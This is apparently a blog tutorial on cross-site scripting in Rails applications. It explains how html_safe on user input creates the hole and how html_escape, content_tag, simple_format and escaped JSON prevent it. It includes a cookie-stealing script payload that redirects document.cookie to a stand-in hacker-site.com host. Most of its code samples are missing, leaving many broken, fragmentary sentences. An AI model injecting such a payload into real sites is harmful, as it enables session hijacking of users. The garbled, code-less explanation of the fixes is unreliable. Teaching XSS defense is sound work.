XSS and Rails
Most web applications has a form.
in address field and hits submit.
It means site has XSS vulnerability.
If you are logged into an application then that application sets a cookie. That is how the application knows that you are logged in.
If a hacker can see someone else’s cookie then the hacker can log in as that person by stealing cookie.
Having SSL does not protect site from XSS vulnerability.
XSS stands for Cross-site scripting. It is a very misleading name because XSS has absolutely nothing to do with cross-site. It has everything to do with a site, any site.
A practical example
It is very common to display address in a formatted way. Usually the code is something like this.
When developer looks at the html page developer will see something like this.
<br /> tag is literally shown on the screen.
Developer looks at the html markup rendered by Rails and it looks like
So the developer comes back to code and marks the string
html_safe as shown below.
Now the browser renders the address with proper
<br /> tag and the address looks nicely formatted
as shown below.
The developer is happy and the developer moves on.
However notice that developer has marked user input data like
and that’s dangerous.
Hacker in action
The application has a number of users and everything is running
All the users are seeing properly formatted address.
And then one day a hacker tried to hack the site.
The hacker puts in address1 as
If we look at the html markup then the html might look like this.
Hacker had put in
<script> and the application sent that code to
in the process hacker is able to see the cookie.
How would hacker steal someone else’s information.
Let’s say that an application has a comment form. In the comment form hacker puts in comment as following.
<script> window.location='http://hacker-site.com?cookie='+document.cookie </script>
Next day another user,Mary, comes to the site and logs in. She is reading the same post and that post has a lot of comments and one of the comments is comment posted by the hacker.
The application loads all the comments including the comment posted by the hacker.
This is a classic case of XSS attack and this is how hacker can next time login as Mary just by using her cookie information.
Well there is only way to prevent it. And that is do not send
tag to the browser. If we send
<script> tag to the browser then
So what can we do so that
<script> tag is not sent to the browser.
Rails default behavior is to keep things secure
Before we start looking at solutions lets revisit what happened when
earlier we did not mark content as
html_safe. So let’s remove
html_safe and lets try to see the content posted by the hacker.
So the code without
html_safe would look like this.
And if we execute this code then hackers address would look like this.
As we can see Rails did not render the address exactly as it was posted
by the hacker. Rails did something because of which
<script> turned into
Rails html escaped the content by using method html_escape.
By default Rails assumes that all content is not safe and thus Rails
subjects all content to
Problem is that here we are trying to format the content using
and Rails is escaping that also. We need to escape only the user content
and not escape
<br />. Here is how we can do that.
In the above case we are marking the content as
we subjected the content through
html_escape and now we are sure
that no unescaped user content can go through.
This will show address in the browser like this.
Above solution worked.
<br /> is not escaped and user input was
Another solution using content_tag
In the above case we used
html_escape and it worked. However if we
need to add say
<strong> tag then adding the opening tag and then
closing tag could be quite cumbersome. For such cases we can use
content_tag escapes the input text.
simple_format for simple formatting
If you want to format the text a little bit then you can use
If user enters a bunch of text in text area then simple_format can help make the text look pretty
without compromising security.
It will strip away
<script> and security sensitive tags.
html_escape internally uses
method. Note that
simple_format will remove
script tag while
html_escape will preserve
script tag in escaped
Handling JSON data
We use jbuilder and view looks like this.
This will produce JSON structure as shown below.
$('body').append(data.about) does the job.
Well when that content is added to
now we are back to the same problem.
There are two ways we can handle this problem.
We can send the data as it is in JSON format. Then
data in such a way that html tags like
script are not executed.
jQuery provides text(input) method which escapes input value. Here is an example.
That is why we favor the solution where JSON content is escaped to begin
with. For escaping the content we can use
As you can see the user content is escaped. Now this data can be sent to
client side and we do not need to worry about
script tag being